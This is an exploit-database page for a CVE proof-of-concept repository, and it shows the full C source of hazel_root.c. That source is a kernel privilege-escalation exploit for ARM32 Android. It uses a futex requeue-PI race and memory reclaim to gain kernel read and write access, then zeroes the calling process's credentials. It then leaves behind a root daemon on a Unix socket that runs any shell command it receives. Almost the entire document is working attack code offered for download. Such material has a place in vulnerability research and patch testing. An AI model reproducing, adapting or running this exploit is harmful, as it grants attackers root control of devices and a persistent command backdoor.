Exploit database

GH-deef03bf1ced2582dbad93aa070b873a

dorlow/hazel-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
dorlow/hazel-cve-2026-43499Revision 7a214fc6e53f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

hazel_root.c

Suggested starting fileC · 23,125 bytes
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stddef.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "hazel_profile.h"

static struct hazel_profile g_profile;

#define INIT_TASK (g_profile.init_task)
#define PI_TASK (g_profile.pi_task)
#define INIT_TASK_TASKS (INIT_TASK + g_profile.task_tasks_off)
#define TASK_TASKS_OFF (g_profile.task_tasks_off)
#define TASK_REAL_CRED_OFF (g_profile.task_real_cred_off)
#define TASK_CRED_OFF (g_profile.task_cred_off)
#define TASK_COMM_OFF (g_profile.task_comm_off)
#define ASHMEM_FOPS (g_profile.ashmem_fops)
#define ASHMEM_MISC_FOPS (g_profile.ashmem_misc_fops)
#define ASHMEM_OPEN (g_profile.ashmem_open)
#define ASHMEM_RELEASE (g_profile.ashmem_release)
#define ASHMEM_IOCTL (g_profile.ashmem_ioctl)
#define ASHMEM_MMAP (g_profile.ashmem_mmap)
#define CONFIGFS_READ_FILE (g_profile.configfs_read_file)
#define CONFIGFS_WRITE_FILE (g_profile.configfs_write_file)
#define ASHMEM_NAME_LEN 256
#define ASHMEM_NAME_PREFIX_LEN 11u
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define PAYLOAD_LEN 0xc0
#define WAITER_CORE (g_profile.waiter_core)
#define CONSUMER_CORE (g_profile.consumer_core)
#define CONSUMER_DELAY_US (g_profile.consumer_delay_us)
#define ROOT_SOCK_NAME "hazel_root"

static uint32_t f_wait, f_pi_target, f_pi_chain;
static atomic_int waiter_tid, waiter_ready, waiter_waiting, owner_started;
static atomic_int consumer_go, consumer_done, consumer_launch;
static uint8_t payload[PAYLOAD_LEN];
static int stamp_sock = -1;
static int root_listener = -1;

struct local_sched_attr {
    uint32_t size, policy;
    uint64_t flags;
    int32_t nice;
    uint32_t priority;
    uint64_t runtime, deadline, period;
};

static void pin_core(unsigned core) {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(core, &set);
    syscall(__NR_sched_setaffinity, 0, sizeof(set), &set);
}

static long set_nice(int tid, int nice) {
    struct local_sched_attr a;
    memset(&a, 0, sizeof(a));
    a.size = sizeof(a);
    a.policy = SCHED_BATCH;
    a.nice = nice;
    return syscall(__NR_sched_setattr, tid, &a, 0);
}

static void put_a32(unsigned off, uint32_t value) {
    *(uint32_t *)(payload + off) = value;
}
static int prepare_stack_stamp(void) {
    stamp_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (stamp_sock < 0)
        return 0;
    dprintf(2, "[stamp] post-return stack hold ready\n");
    return 1;
}

static void stamp_stack(void) {
    uint8_t buf[260];
    memset(buf, 0, sizeof(buf));
    memcpy(buf, payload, 0x24);
    dprintf(2, "[stamp] synchronized copy armed\n");
    atomic_store(&consumer_go, 1);
    while (!atomic_load(&consumer_launch))
        __asm__ volatile("yield" ::: "memory");
    for (unsigned long calls = 0; calls < 10000000ul && !atomic_load(&consumer_done); calls++)
        setsockopt(stamp_sock, IPPROTO_IPV6, MCAST_JOIN_SOURCE_GROUP, buf, sizeof(buf));
    for (;;)
        __asm__ volatile("yield" ::: "memory");
}

static void *waiter_fn(void *unused) {
    (void)unused;
    pin_core(WAITER_CORE);
    int tid = (int)syscall(__NR_gettid);
    atomic_store(&waiter_tid, tid);
    if (syscall(__NR_futex, &f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0)) {
        dprintf(2, "[w] LOCK_PI(chain) errno=%d\n", errno);
        return NULL;
    }
    atomic_store(&waiter_ready, 1);
    while (!atomic_load(&owner_started))
        usleep(1000);
    struct timespec timeout;
    syscall(__NR_clock_gettime, CLOCK_MONOTONIC, &timeout);
    timeout.tv_sec += 5;
    atomic_store(&waiter_waiting, 1);
    dprintf(2, "[w] WAIT_REQUEUE_PI\n");
    syscall(__NR_futex, &f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &f_pi_target, 0);
    dprintf(2, "[w] returned errno=%d; stamping\n", errno);
    syscall(__NR_futex, &f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
    stamp_stack();
    return NULL;
}

static void *owner_fn(void *unused) {
    (void)unused;
    if (syscall(__NR_futex, &f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0)) {
        dprintf(2, "[o] LOCK_PI(target) errno=%d\n", errno);
        return NULL;
    }
    while (!atomic_load(&waiter_ready))
        usleep(1000);
    atomic_store(&owner_started, 1);
    dprintf(2, "[o] LOCK_PI(chain)\n");
    syscall(__NR_futex, &f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
    for (;;)
        sleep(60);
}

static void *consumer_fn(void *unused) {
    (void)unused;
    pin_core(CONSUMER_CORE);
    int tid;
    while (!(tid = atomic_load(&waiter_tid)))
        usleep(1000);
    while (!atomic_load(&consumer_go)) {
    }
    dprintf(2, "[c] sched_setattr trigger tid=%d\n", tid);
    errno = 0;
    atomic_store(&consumer_launch, 1);
    usleep(CONSUMER_DELAY_US);
    long ret = set_nice(tid, 19);
    usleep(60000);
    dprintf(2, "[c] sched_setattr ret=%ld errno=%d\n", ret, errno);
    atomic_store(&consumer_done, 1);
    return NULL;
}

static int root_client(int argc, char **argv) {
    int fd = socket(AF_UNIX, SOCK_STREAM, 0);
    struct sockaddr_un sa;
    memset(&sa, 0, sizeof(sa));
    sa.sun_family = AF_UNIX;
    memcpy(sa.sun_path + 1, ROOT_SOCK_NAME, sizeof(ROOT_SOCK_NAME) - 1);
    socklen_t salen =
        (socklen_t)(offsetof(struct sockaddr_un, sun_path) + 1 + sizeof(ROOT_SOCK_NAME) - 1);
    if (fd < 0 || connect(fd, (struct sockaddr *)&sa, salen) < 0) {
        dprintf(2, "connect @%s failed: %s\n", ROOT_SOCK_NAME, strerror(errno));
        return 1;
    }
    for (int i = 2; i < argc; i++) {
        if (i != 2)
            write(fd, " ", 1);
        write(fd, argv[i], strlen(argv[i]));
    }
    write(fd, "\n", 1);
    shutdown(fd, SHUT_WR);
    char buf[4096];
    ssize_t n;
    while ((n = read(fd, buf, sizeof(buf))) > 0)
        write(1, buf, (size_t)n);
    close(fd);
    return 0;
}

static int prepare_root_listener(void) {
    int s = socket(AF_UNIX, SOCK_STREAM, 0);
    struct sockaddr_un sa;
    memset(&sa, 0, sizeof(sa));
    sa.sun_family = AF_UNIX;
    memcpy(sa.sun_path + 1, ROOT_SOCK_NAME, sizeof(ROOT_SOCK_NAME) - 1);
    socklen_t salen =
        (socklen_t)(offsetof(struct sockaddr_un, sun_path) + 1 + sizeof(ROOT_SOCK_NAME) - 1);
    if (s < 0 || bind(s, (struct sockaddr *)&sa, salen) < 0 || listen(s, 4) < 0) {
        dprintf(2, "[-] root listener setup failed errno=%d\n", errno);
        if (s >= 0)
            close(s);
        return 0;
    }
    root_listener = s;
    dprintf(2, "[root] pre-bound command socket fd=%d\n", root_listener);
    fsync(2);
    return 1;
}

static void root_server(void) {
    int s = root_listener;
    if (s < 0)
        _exit(111);
    for (;;) {
        int c = accept(s, NULL, NULL);
        if (c < 0)
            continue;
        char cmd[4096];
        ssize_t n = read(c, cmd, sizeof(cmd) - 1);
        if (n <= 0) {
            close(c);
            continue;
        }
        cmd[n] = 0;
        pid_t p = fork();
        if (p == 0) {
            dup2(c, 0);
            dup2(c, 1);
            dup2(c, 2);
            close(s);
            close(c);
            execl("/system/bin/sh", "sh", "-c", cmd, (char *)NULL);
            _exit(127);
        }
        close(c);
        waitpid(p, NULL, 0);
    }
}

#include "hazel_reclaim.h"

static void blob_u32(uint8_t *blob, unsigned object_off, uint32_t value) {
    memcpy(blob + object_off - ASHMEM_NAME_PREFIX_LEN, &value, sizeof(value));
}

static int set_name_no_zeros(int fd, const uint8_t *blob, size_t len) {
    char name[ASHMEM_NAME_LEN];
    memset(name, 'A', sizeof(name));
    for (size_t i = 0; i < len; i++)
        name[i] = blob[i] ? (char)blob[i] : 1;
    name[len] = 0;
    return ioctl(fd, ASHMEM_SET_NAME, name);
}

static int set_name_zero_at(int fd, const uint8_t *blob, size_t pos) {
    char name[ASHMEM_NAME_LEN];
    memset(name, 'A', sizeof(name));
    for (size_t i = 0; i < pos; i++)
        name[i] = blob[i] ? (char)blob[i] : 1;
    name[pos] = 0;
    return ioctl(fd, ASHMEM_SET_NAME, name);
}

static int set_ashmem_blob(int fd, const uint8_t *blob, size_t len) {
    if (set_name_no_zeros(fd, blob, len)) {
        dprintf(2, "[-] ASHMEM_SET_NAME initial len=%zu errno=%d\n", len, errno);
        return -1;
    }
    for (size_t i = len; i > 0; i--)
        if (!blob[i - 1] && set_name_zero_at(fd, blob, i - 1)) {
            dprintf(2, "[-] ASHMEM_SET_NAME zero pos=%zu errno=%d\n", i - 1, errno);
            return -1;
        }
    return 0;
}

static void forge_unlocked_mutex(uint8_t *blob) {
    /* struct configfs_buffer::mutex is at +0x18 on this ARM32 build. */
    memset(blob + 0x18 - ASHMEM_NAME_PREFIX_LEN, 0, 0x18);
    blob_u32(blob, 0x18, 1); /* atomic count: unlocked */
}

/*
 * Ordinary read/write avoids ARM32 positional-I/O ABI alignment issues. Both
 * callbacks
 * advance the same struct file::f_pos, so compensate in each forged
 * backing pointer and keep an
 * exact userspace mirror of that position.
 */
static uint32_t g_krw_pos;

static ssize_t kernel_write_once(int fd, uint32_t target, const void *data, size_t len) {
    uint8_t blob[96];
    memset(blob, 0x41, sizeof(blob));
    forge_unlocked_mutex(blob);
    /*
     * The vendor ARM copy_from_user walks this boundary-crossing range from
     * the high
     * end. Point page one byte before the desired target: mapped
     * source bytes land at
     * target, then the leading unmapped byte faults.
     */
    blob_u32(blob, 0x10, target - 1); /* configfs_buffer::page */
    if (set_ashmem_blob(fd, blob, sizeof(blob)))
        return -1;

    long page_size = sysconf(_SC_PAGESIZE);
    if (page_size <= 0 || len + 1 >= (size_t)page_size) {
        errno = EINVAL;
        return -1;
    }
    uint8_t *fault =
        mmap(NULL, (size_t)page_size * 2, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fault == MAP_FAILED ||
        mprotect(fault + page_size, (size_t)page_size, PROT_READ | PROT_WRITE)) {
        if (fault != MAP_FAILED)
            munmap(fault, (size_t)page_size * 2);
        return -1;
    }
    uint8_t *src = fault + page_size - 1;
    memcpy(src + 1, data, len);
    dprintf(2, "[krw] fault-write target=%08x payload=%zu count=%zu\n", target, len, len + 1);
    errno = 0;
    ssize_t ret = write(fd, src, len + 1);
    int saved_errno = errno;
    munmap(fault, (size_t)page_size * 2);
    if (ret < 0 && saved_errno == EFAULT)
        return (ssize_t)len;
    errno = saved_errno;
    return ret;
}

static ssize_t kernel_read_once(int fd, uint32_t target, void *data, size_t len) {
    uint8_t blob[96];
    memset(blob, 0x41, sizeof(blob));
    forge_unlocked_mutex(blob);
    /*
     * ashmem_area begins with the fixed "/dev/ashmem/" prefix. Its first word
     * is
     * already a large positive configfs_buffer::count; it is not
     * name-controlled, so leave
     * it untouched.
     */
    blob_u32(blob, 0x10, target - g_krw_pos); /* page + f_pos = target */
    blob_u32(blob, 0x30, 0);                  /* needs_read_fill */
    blob[0x34 - ASHMEM_NAME_PREFIX_LEN] = 0;
    blob[0x35 - ASHMEM_NAME_PREFIX_LEN] = 0;
    if (set_ashmem_blob(fd, blob, sizeof(blob)))
        return -1;
    errno = 0;
    ssize_t ret = read(fd, data, len);
    if (ret > 0)
        g_krw_pos += (uint32_t)ret;
    return ret;
}

static int kernel_zero_credential_ids(int fd, uint32_t cred) {
    uint8_t zeros[0x20] = {0};
    /*
     * kernel_write_once points configfs_buffer::page one byte before its
     * target.
     * Passing cred+5 therefore makes the EFAULT cleanup zero
     * cred+4..cred+0x24: all UID/GID
     * fields plus the first securebits byte.
     */
    return kernel_write_once(fd, cred + 0x05, zeros, sizeof(zeros)) == (ssize_t)sizeof(zeros);
}

static int kernel_read_u32(int fd, uint32_t target, uint32_t *value) {
    return kernel_read_once(fd, target, value, sizeof(*value)) == sizeof(*value);
}

static int kernel_ptr(uint32_t p) {
    return p >= 0xc0000000u && p < 0xf0000000u && !(p & 3u);
}

static int validate_runtime_profile(int fd) {
    char comm[17] = {0};
    uint32_t next = 0, previous = 0;
    if (kernel_read_once(fd, INIT_TASK + TASK_COMM_OFF, comm, 16) != 16 ||
        strncmp(comm, "swapper", 7)) {
        dprintf(2, "[-] profile anchor failed: init task comm=%s\n", comm);
        return 0;
    }
    if (!kernel_read_u32(fd, INIT_TASK_TASKS, &next) ||
        !kernel_read_u32(fd, INIT_TASK_TASKS + 4, &previous) || !kernel_ptr(next) ||
        !kernel_ptr(previous)) {
        dprintf(2, "[-] profile anchor failed: task list next=%08x previous=%08x\n", next,
                previous);
        return 0;
    }
    dprintf(2, "[profile] runtime anchors verified: comm=%s next=%08x previous=%08x\n", comm,
            next, previous);
    return 1;
}

static uint32_t find_current_task(int fd) {
    char self_comm[17] = {0};
    prctl(PR_GET_NAME, self_comm, 0, 0, 0);
    uint32_t link = 0;
    if (!kernel_read_u32(fd, INIT_TASK_TASKS + 4, &link))
        return 0;
    dprintf(2, "[krw] walking task list head=%08x tail=%08x want=%s\n", INIT_TASK_TASKS, link,
            self_comm);
    fsync(2);

    /*
     * HARDENED_USERCOPY rejects reads from kernel text, so only pass validated
     * lowmem
     * addresses through configfs.
     */
    for (unsigned count = 0; count < 2048; count++) {
        if (link == INIT_TASK_TASKS)
            break;
        if (link < 0xc1300000u || link >= 0xf0000000u || (link & 3u))
            return 0;
        uint32_t task = link - TASK_TASKS_OFF;
        if (task < 0xc1300000u || task >= 0xf0000000u)
            return 0;
        char comm[17] = {0};
        if (kernel_read_once(fd, task + TASK_COMM_OFF, comm, 16) != 16)
            return 0;
        if (!strncmp(comm, self_comm, 16)) {
            dprintf(2, "[krw] current task=%08x comm=%s steps=%u\n", task, comm, count);
            fsync(2);
            return task;
        }
        uint32_t prev = 0;
        if (!kernel_read_u32(fd, link + 4, &prev) || prev == link)
            return 0;
        link = prev;
    }
    return 0;
}

static int patch_current_credentials(int fd, uint32_t task) {
    uint32_t real_cred = 0, cred = 0;
    if (!kernel_read_u32(fd, task + TASK_REAL_CRED_OFF, &real_cred) ||
        !kernel_read_u32(fd, task + TASK_CRED_OFF, &cred) || !kernel_ptr(real_cred) ||
        !kernel_ptr(cred))
        return 0;
    dprintf(2, "[root] real_cred=%08x cred=%08x\n", real_cred, cred);
    fsync(2);

    if (!kernel_zero_credential_ids(fd, cred))
        return 0;
    uint32_t ids[8];
    if (kernel_read_once(fd, cred + 0x04, ids, sizeof(ids)) != sizeof(ids))
        return 0;
    for (unsigned i = 0; i < 8; i++)
        if (ids[i] != 0)
            return 0;
    dprintf(2, "[root] credential UID/GID fields zeroed\n");
    fsync(2);
    return 1;
}

static void make_reclaimed_write_payload(uint32_t target) {
    memset(payload, 0, sizeof(payload));
    put_a32(0x00, g_fake_fops);
    put_a32(0x04, 0);
    put_a32(0x08, target);
    put_a32(0x18, PI_TASK);
    put_a32(0x1c, g_fake_lock);
    put_a32(0x20, 0x7fffffffu);
}

static int validate_loaded_profile(char *error, size_t error_size) {
    if (strcmp(g_profile.exploit_path, "configfs-mm-reclaim-v1")) {
        snprintf(error, error_size, "unsupported exploit path: %s", g_profile.exploit_path);
        return 0;
    }
    const uint32_t addresses[] = {
        INIT_TASK,          PI_TASK,       ASHMEM_FOPS,       ASHMEM_MISC_FOPS,
        ASHMEM_OPEN,        ASHMEM_RELEASE, ASHMEM_IOCTL,      ASHMEM_MMAP,
        CONFIGFS_READ_FILE, CONFIGFS_WRITE_FILE,
    };
    for (unsigned i = 0; i < sizeof(addresses) / sizeof(addresses[0]); i++)
        if (!kernel_ptr(addresses[i])) {
            snprintf(error, error_size, "profile contains invalid kernel address %08x",
                     addresses[i]);
            return 0;
        }
    const uint32_t offsets[] = {
        TASK_TASKS_OFF,
        TASK_REAL_CRED_OFF,
        TASK_CRED_OFF,
        TASK_COMM_OFF,
    };
    for (unsigned i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++)
        if (offsets[i] >= 0x2000u || (offsets[i] & 3u)) {
            snprintf(error, error_size, "profile contains invalid structure offset %08x",
                     offsets[i]);
            return 0;
        }
    long processor_count = sysconf(_SC_NPROCESSORS_CONF);
    if (processor_count <= 0 || WAITER_CORE >= (uint32_t)processor_count ||
        CONSUMER_CORE >= (uint32_t)processor_count || WAITER_CORE >= CPU_SETSIZE ||
        CONSUMER_CORE >= CPU_SETSIZE ||
        WAITER_CORE == CONSUMER_CORE || CONSUMER_DELAY_US < 1000u ||
        CONSUMER_DELAY_US > 1000000u) {
        snprintf(error, error_size, "profile contains invalid CPU or timing parameters");
        return 0;
    }
    if (TASK_REAL_CRED_OFF + 4 != TASK_CRED_OFF || TASK_CRED_OFF + 4 != TASK_COMM_OFF ||
        !kernel_ptr(g_profile.kernel_image_base) || !g_profile.kernel_size ||
        g_profile.kernel_similarity_ppm > 1000000u) {
        snprintf(error, error_size, "profile contains inconsistent layout metadata");
        return 0;
    }
    const uint32_t image_addresses[] = {
        ASHMEM_FOPS,       ASHMEM_OPEN,          ASHMEM_RELEASE, ASHMEM_IOCTL,
        ASHMEM_MMAP,       CONFIGFS_READ_FILE,   CONFIGFS_WRITE_FILE,
    };
    for (unsigned i = 0; i < sizeof(image_addresses) / sizeof(image_addresses[0]); i++)
        if (image_addresses[i] < g_profile.kernel_image_base ||
            image_addresses[i] - g_profile.kernel_image_base >= g_profile.kernel_size) {
            snprintf(error, error_size, "profile address %08x is outside its kernel image",
                     image_addresses[i]);
            return 0;
        }
    return 1;
}

static void usage(const char *program) {
    dprintf(2,
            "Usage: %s [--profiles DIR | --profile FILE] [--check-profile]\n"
            "       %s --client COMMAND...\n"
            "       %s --listener-test\n",
            program, program, program);
}

int main(int argc, char **argv) {
    if (argc >= 2 && !strcmp(argv[1], "--client"))
        return root_client(argc, argv);
    if (argc >= 2 && !strcmp(argv[1], "--listener-test"))
        return prepare_root_listener() ? 0 : 1;

    setvbuf(stderr, NULL, _IONBF, 0);
    const char *profile_directory = "profiles";
    const char *profile_path = NULL;
    int check_profile = 0;
    for (int i = 1; i < argc; i++) {
        if (!strcmp(argv[i], "--check-profile")) {
            check_profile = 1;
        } else if (!strcmp(argv[i], "--profiles") && i + 1 < argc) {
            profile_directory = argv[++i];
        } else if (!strcmp(argv[i], "--profile") && i + 1 < argc) {
            profile_path = argv[++i];
        } else {
            usage(argv[0]);
            return 64;
        }
    }

    struct hazel_runtime runtime;
    char profile_error[512] = {0};
    char selected_profile[1024] = {0};
    if (!hazel_runtime_read(&runtime, profile_error, sizeof(profile_error)) ||
        !hazel_profile_select(profile_directory, profile_path, &runtime, &g_profile,
                              selected_profile, sizeof(selected_profile), profile_error,
                              sizeof(profile_error)) ||
        !validate_loaded_profile(profile_error, sizeof(profile_error))) {
        dprintf(2, "[-] profile rejected: %s\n", profile_error);
        return 64;
    }
    hazel_profile_print(&g_profile, &runtime, selected_profile);
    if (check_profile)
        return 0;

    dprintf(2, "=== hazel root %s pid=%d uid=%d ===\n", g_profile.target, getpid(), getuid());
    dprintf(2, "[+] init_task=%08x ashmem_misc_fops=%08x original=%08x\n", INIT_TASK,
            ASHMEM_MISC_FOPS, ASHMEM_FOPS);

    if (!prepare_stack_stamp()) {
        dprintf(2, "[-] failed to prepare stack stamper errno=%d\n", errno);
        return 2;
    }

    if (!prepare_reclaimed_page()) {
        dprintf(2, "[-] failed to prepare writable kernel page\n");
        return 2;
    }
    make_reclaimed_write_payload(ASHMEM_MISC_FOPS);

    pthread_t w, o, c;
    pthread_create(&w, NULL, waiter_fn, NULL);
    pthread_create(&o, NULL, owner_fn, NULL);
    pthread_create(&c, NULL, consumer_fn, NULL);
    while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started))
        usleep(1000);
    usleep(200000);
    dprintf(2, "[m] CMP_REQUEUE_PI\n");
    errno = 0;
    syscall(__NR_futex, &f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &f_pi_target, 0);
    dprintf(2, "[m] returned errno=%d (want 35)\n", errno);
    int hit = -1;
    while (!atomic_load(&consumer_done)) {
        hit = find_fake_fops_word(0x08, ASHMEM_MISC_FOPS);
        if (hit >= 0)
            break;
        usleep(1000);
    }
    while (!atomic_load(&consumer_done))
        usleep(1000);
    if (hit < 0)
        hit = find_fake_fops_word(0x08, ASHMEM_MISC_FOPS);
    dprintf(2, "[write] modified reclaim socket=%d\n", hit);
    dprintf(2, "[write] fops stage returned; opening /dev/ashmem\n");
    int afd = open("/dev/ashmem", O_RDWR | O_CLOEXEC);
    if (afd < 0) {
        dprintf(2, "[-] ashmem open failed errno=%d\n", errno);
        return 5;
    }
    uint32_t check = 0;
    if (!kernel_read_u32(afd, g_fake_fops + 0x08, &check) || check != CONFIGFS_READ_FILE) {
        dprintf(2, "[-] preloaded read slot failed value=%08x errno=%d\n", check, errno);
        fsync(2);
        for (;;)
            sleep(3600);
    }
    dprintf(2, "[krw] arbitrary read + zero-write active; read=%08x\n", check);
    fsync(2);

    if (!validate_runtime_profile(afd)) {
        dprintf(2, "[-] loaded profile failed runtime validation; holding reclaim\n");
        fsync(2);
        for (;;)
            sleep(3600);
    }

    if (!prepare_root_listener()) {
        dprintf(2, "[-] command listener unavailable; holding reclaim\n");
        for (;;)
            sleep(3600);
    }

    uint32_t current_task = find_current_task(afd);
    if (!current_task) {
        dprintf(2, "[-] current task tail lookup failed; holding reclaim\n");
        fsync(2);
        for (;;)
            sleep(3600);
    }
    if (!patch_current_credentials(afd, current_task)) {
        dprintf(2, "[-] credential patch failed for task=%08x\n", current_task);
        for (;;)
            sleep(3600);
    }
    dprintf(2, "[root] uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid());
    if (getuid() != 0 || geteuid() != 0)
        return 3;

    pid_t daemon = fork();
    if (daemon < 0) {
        perror("fork daemon");
        return 4;
    }
    if (daemon == 0) {
        setsid();
        int dn = open("/dev/null", O_RDWR);
        if (dn >= 0) {
            dup2(dn, 0);
            dup2(dn, 1);
            dup2(dn, 2);
        }
        root_server();
        _exit(0);
    }
    dprintf(2, "[ROOT] uid=0 daemon pid=%d socket=@%s\n", daemon, ROOT_SOCK_NAME);
    for (;;)
        sleep(3600);
}